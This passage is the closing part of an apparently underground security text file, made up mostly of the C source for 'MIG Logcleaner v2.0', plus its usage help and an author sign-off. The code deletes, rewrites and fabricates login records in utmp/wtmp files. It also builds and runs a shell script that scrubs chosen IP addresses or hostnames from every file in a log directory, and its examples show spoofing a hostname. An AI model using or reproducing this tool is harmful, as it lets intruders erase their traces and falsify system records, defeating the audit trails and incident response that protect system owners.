(!strcmp(utmpx_record.ut_line, line)) && (!strcmp(utmpx_record.ut_host, host))) { replace_check++; fprintf(stdout, "[0x%d] Replaced \"%s\" coresponding entry from %s\n", c++, u, UTMPX); if(U[0] != 0) { bzero(utmpx_record.ut_name, sizeof(utmpx_record.ut_name)); strcpy(utmpx_record.ut_name, U); } if(H[0] != 0) { bzero(utmpx_record.ut_host, sizeof(utmpx_record.ut_host)); strcpy(utmpx_record.ut_host, H); } if(I != 0) { utmpx_record.ut_tv.tv_sec = tv_start.tv_sec; } write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } else { if(n != 0) { write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } } } else { if((replace_check == 1) && (!strcmp(utmpx_record.ut_line, line)) && (utmpx_record.ut_type == 8)) { replace_check = 0; if(O != 0) { utmpx_record.ut_tv.tv_sec = tv_end.tv_sec; } } write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } } close(fd1); close(fd2); if(n == 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMPX); sprintf(command, "mv /tmp/WTMPX.TMP %s;mv /tmp/UTMPX.TMP %s;chmod 644 %s %s", WTMPX, UTMPX, WTMPX, UTMPX); system(command); } #endif return (0); } int addd(char *u, int n, int tota1, int tota2, char *U, char *T, char *H, long I, long O, int d) { struct utmp wtmp_record; struct utmp new_wtmp_in_record; struct utmp new_wtmp_out_record; #ifdef SUN struct utmpx wtmpx_record; struct utmpx new_wtmpx_in_record; struct utmpx new_wtmpx_out_record; #endif int fd1; int fd2; int counter = 0; int check = 0; char command[256]; bzero(command, sizeof(command)); // Create new entries #ifndef BSD new_wtmp_in_record.ut_type = 7; new_wtmp_in_record.ut_pid = 0; new_wtmp_in_record.ut_exit.e_termination = 0; new_wtmp_in_record.ut_exit.e_exit = 0; #ifndef SUN new_wtmp_in_record.ut_session = 0; new_wtmp_in_record.ut_tv.tv_sec = I; new_wtmp_in_record.ut_tv.tv_usec = 0; #else new_wtmp_in_record.ut_time = I; #endif strcpy(new_wtmp_in_record.ut_user, U); strcpy(new_wtmp_in_record.ut_line, T); #ifndef SUN strcpy(new_wtmp_in_record.ut_host, H); #endif new_wtmp_out_record.ut_type = 8; new_wtmp_out_record.ut_pid = 0; new_wtmp_out_record.ut_exit.e_termination = 0; new_wtmp_out_record.ut_exit.e_exit = 0; #ifndef SUN new_wtmp_out_record.ut_session = 0; new_wtmp_out_record.ut_tv.tv_sec = O; new_wtmp_out_record.ut_tv.tv_usec = 0; #else new_wtmp_out_record.ut_time = O; #endif strcpy(new_wtmp_out_record.ut_user, U); strcpy(new_wtmp_out_record.ut_line, T); #ifndef SUN strcpy(new_wtmp_out_record.ut_host, H); #endif #endif #ifdef BSD new_wtmp_in_record.ut_time = I; strcpy(new_wtmp_in_record.ut_name, U); strcpy(new_wtmp_in_record.ut_line, T); strcpy(new_wtmp_in_record.ut_host, H); new_wtmp_out_record.ut_time = O; strcpy(new_wtmp_out_record.ut_name, ""); strcpy(new_wtmp_out_record.ut_line, T); strcpy(new_wtmp_out_record.ut_host, H); #endif #ifdef SUN new_wtmpx_in_record.ut_type = 7; new_wtmpx_in_record.ut_pid = 0; new_wtmpx_in_record.ut_exit.e_termination = 0; new_wtmpx_in_record.ut_exit.e_exit = 0; new_wtmpx_in_record.ut_session = 0; new_wtmpx_in_record.ut_tv.tv_sec = I; new_wtmpx_in_record.ut_tv.tv_usec = 0; strcpy(new_wtmpx_in_record.ut_user, U); strcpy(new_wtmpx_in_record.ut_line, T); strcpy(new_wtmpx_in_record.ut_host, H); new_wtmpx_out_record.ut_type = 8; new_wtmpx_out_record.ut_pid = 0; new_wtmpx_out_record.ut_exit.e_termination = 0; new_wtmpx_out_record.ut_exit.e_exit = 0; new_wtmpx_out_record.ut_session = 0; new_wtmpx_out_record.ut_tv.tv_sec = O; new_wtmpx_out_record.ut_tv.tv_usec = 0; strcpy(new_wtmpx_out_record.ut_user, ""); strcpy(new_wtmpx_out_record.ut_line, T); strcpy(new_wtmpx_out_record.ut_host, H); #endif if((fd1 = open(WTMP, O_RDWR)) != (-1)) { if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == (-1)) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n"); } while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record)) { if((!strcmp(wtmp_record.ut_name, u)) #ifndef BSD && (wtmp_record.ut_type != 8) #endif ) { counter++; if(counter == (tota1 + 1 - n)) { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); write(fd2, (char *) &new_wtmp_in_record, sizeof(new_wtmp_in_record)); write(fd2, (char *) &new_wtmp_out_record, sizeof(new_wtmp_out_record)); fprintf(stdout, "[0x%d] Added user \"%s\" before %d entry of user \"%s\" in %s file\n", c++, U, n, u, WTMP); } else { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } else { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } if(u[0] == 0 && check == 0) { write(fd2, (char *) &new_wtmp_in_record, sizeof(new_wtmp_in_record)); write(fd2, (char *) &new_wtmp_out_record, sizeof(new_wtmp_out_record)); fprintf(stdout, "[0x%d] Added user \"%s\" entry on top of %s file\n", c++, U, WTMP); check++; } close(fd1); close(fd2); sprintf(command, "mv /tmp/WTMP.TMP %s;chmod 644 %s", WTMP, WTMP); system(command); } else { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMP); } counter = 0; check = 0; #ifdef SUN if((fd1 = open(WTMPX, O_RDWR)) != (-1)) { if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == (-1)) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n"); } while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record)) == sizeof(wtmpx_record)) { if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8)) { counter++; if(counter == (tota2 + 1 - n)) { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); write(fd2, (char *) &new_wtmpx_in_record, sizeof(new_wtmpx_in_record)); write(fd2, (char *) &new_wtmpx_out_record, sizeof(new_wtmpx_out_record)); fprintf(stdout, "[0x%d] Added user \"%s\" before %d entry of user \"%s\" in %s file\n", c++, U, n, u, WTMPX); } else { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } else { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } if(u[0] == 0 && check == 0) { write(fd2, (char *) &new_wtmpx_in_record, sizeof(new_wtmpx_in_record)); write(fd2, (char *) &new_wtmpx_out_record, sizeof(new_wtmpx_out_record)); fprintf(stdout, "[0x%d] Added user \"%s\" entry on top of %s file\n", c++, U, WTMPX); check++; } close(fd1); close(fd2); sprintf(command, "mv /tmp/WTMPX.TMP %s;chmod 644 %s", WTMPX, WTMPX); system(command); } else { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMPX); } #endif return (0); } int txt_clean(char *D, char *a, char *b, int d) { char command[999]; bzero(command,sizeof(command)); sprintf(command,"echo \"find %s -type f|grep -v \ wtmp|grep -v utmp|grep -v lastlog>/tmp/dirs.\ IP\">/tmp/mig.sh;echo \"if [ -s /tmp/dirs.IP ]\">\ >/tmp/mig.sh;echo then>>/tmp/mig.sh;echo \"set \\`cat \ /tmp/dirs.IP\\`\">>/tmp/mig.sh;echo \"for F1 in \\ \`echo \\$@\\`\">>/tmp/mig.sh;echo do>>/tmp/mig.sh;ech\ o \"cat \\\"\\$F1\\\"|grep -v \\\"%s\\\">/tm\ p/F1.tmp;cat /tmp/F1.tmp>\\\"\\$F1\\\"\">>/tmp/mi\ g.sh;echo done>>/tmp/mig.sh;echo fi>>/tmp/mig.sh;echo \ \"if [ -s /tmp/dirs.IP ]\">>/tmp/mig.sh;echo then\ >>/tmp/mig.sh;echo \"set \\`cat /tmp/dirs.IP\\`\"\ >>/tmp/mig.sh;echo \"for F2 in \\`echo \\$@\\`\">\ >/tmp/mig.sh;echo do>>/tmp/mig.sh;echo \"cat \\\"\\$F2\ \\\"|grep -v \\\"%s\\\">/tmp/F2.tmp;cat /tmp\ /F2.tmp>\\\"\\$F2\\\"\">>/tmp/mig.sh;echo done>>/tmp/m\ ig.sh;echo fi>>/tmp/mig.sh",D,a,b); system(command); system("chmod +x /tmp/mig.sh"); system("/tmp/mig.sh"); printf("[0x%d] Removed \"%s\" and \"%s\" strings out of %s direcotry\n",c++,a,b,D); remove("/tmp/mig.sh"); remove("/tmp/F1.tmp"); remove("/tmp/F2.tmp"); remove("/tmp/dirs.IP"); return (0); } int usage(char *arg) { printf("\n******************************\n"); printf("* MIG Logcleaner v2.0 by no1 *\n"); printf("******************************\n"); printf("usage: %s [-u] [-n] [-d] [-a] [-b] [-R] [-A] [-U] [-T] [-H] [-I] [-O] [-d]\n\n", arg); printf(" [-u ]\t- username\n"); printf(" [-n ]\t- username record number, 0 removes all records (default: 1)\n"); printf(" [-d ]\t- log directory (default: /var/log/)\n"); printf(" [-a ]\t- string to remove out of every file in a log dir (ip?)\n"); printf(" [-b ]\t- string to remove out of every file in a log dir (hostname?)\n"); printf(" [-R]\t\t- replace details of specified user entry\n"); printf(" [-A]\t\t- add new entry before specified user entry (default: 1st entry in list)\n"); printf(" [-U ]\t- new username used in -R of -A\n"); printf(" [-T ]\t- new tty used in -A\n"); printf(" [-H ]\t- new hostname used in -R or -A\n"); printf(" [-I ]\t- new log in time used in -R or -A (unit time format)\n"); printf(" [-O ]\t- new log out time used in -R or -A (unit time format)\n"); printf(" [-d]\t\t- debug mode\n\n"); printf("eg: %s -u john -n 2 -d /secret/logs/ -a 1.2.3.4 -b leet.org\n", arg); printf(" %s -u john -n 6\n", arg); printf(" %s -d /secret/logs/ -a 1.2.3.4\n", arg); printf(" %s -u john -n 2 -R -H china.gov\n", arg); printf(" %s -u john -n 5 -A -U jane -T tty1 -H arb.com -I 12345334 -O 12345397\n\n", arg); return (0); } /*******************/ // greyhats.za.net // /*******************/ mig-logcleaner.c ]----------------[ CODE END ]---------------------------------- x08\ Conclusion --------------- I hope all of this is clear. If i missed something out or made some mistakes, please mail me to no1@greyhats.za.net or msg at http://greyhats.za.net/guestbook/ ----------------------------------< M I G >----------------------------------< by no1 |Security Development|